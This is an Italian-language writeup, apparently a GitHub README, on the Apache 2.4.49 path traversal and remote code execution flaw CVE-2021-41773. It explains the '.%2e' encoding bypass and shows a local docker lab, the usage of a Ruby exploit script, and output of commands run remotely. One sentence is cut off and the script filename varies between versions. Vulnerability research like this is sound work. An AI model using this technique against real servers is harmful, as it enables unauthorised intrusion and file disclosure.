
CVE-2021-41773 | Apache HTTP Server 2.4.49 è vulnerabile ad attacchi di Path Traversal e di esecuzione di codice remoto.
CVE-2021-41773 Secondo la National Vulnerability Database (NVD) CVE-2021-41773, Apache HTTP Server 2.4.49 è vulnerabile ad attacchi di Path Traversal e Remote Code Execution.
La vulnerabilità di path traversal è stata introdotta a causa della nuova modifica al codice aggiunta per la normalizzazione dei percorsi, ovvero per rimuovere dai percorsi URL le parti indesiderate o pericolose,
ma non era sufficiente per rilevare diverse tecniche di codifica dei caratteri di path traversal “dot-dot-slash (../)” Per prevenire attacchi di path traversal, la funzione di normalizzazione responsabile della risoluzione dei valori codificati in URL dalla richiesta URI, risolveva i valori Unicode uno alla volta. Quindi, quando si codifica il secondo punto come %2e, la logica non riconosce %2e come punto e quindi non lo decodifica, convertendo i caratteri ../ in .%2e/ e aggirando il controllo.
Oltre all'elusione del controllo di path traversal, affinché un server HTTP Apache sia vulnerabile, la configurazione del server HTTP deve contenere la direttiva directory per l'intero filesystem del server come Require all granted oppure la direttiva directory deve essere completamente assente dal file di configurazione. Pertanto, aggirando il controllo del dot-dot come .%2e e concatenandolo con una direttiva directory configurata in modo errato, un attaccante può leggere file arbitrari come passwd dal filesystem del server vulnerabile.
Mentre CVE-2021-41773 è stato inizialmente documentato come vulnerabilità di Path traversal e File disclosure, ulteriori ricerche hanno concluso che la vulnerabilità può essere ulteriormente sfruttata per eseguire codice in remoto quando il modulo mod_cgi è abilitato sul server HTTP Apache, consentendo a un attaccante di sfruttare la vulnerabilità di path traversal e chiamare qualsiasi binario sul sistema utilizzando richieste HTTP POST.
è disabilitato sul server HTTP Apache commentando la riga sopra nel file di configurazione. Quindi, quando mod_cgi è abilitato e la configurazione “Require all granted” è applicata alla direttiva directory del filesystem, un attaccante può eseguire comandi in remoto sul server Apache.
#How To Reproduce
docker run -dit --name Apache -p 83:80 b0x
#Log into container and excute the following
cp /bin/sh /usr/bin/
ruby CVE-2021-41773.rb
# c c wWw wWw -2021-41773
# (OO) (O) (O) wWw
# ,'.--.) ( / ) (O)_
# / //_|_ / / .' __)
# | ___ / / ( _)
# '. ) `--' / `.__)
# `-.' `-..-'
# Author:Habib
# ruby CVE-2021-41773.rb target_url dir command
# ruby CVE-2021-41773.rb http://localhost bin/sh whoami
ruby CVE-2121-41773.rb http://localhost:83
Target: http://localhost:83 is vulnerable
Command:
ruby CVE-2121-41773.rb http://localhost:83 bin/sh id Target: http://localhost:83 is vulnerable
Command: uid=1(daemon) gid=1(daemon) groups=1(daemon)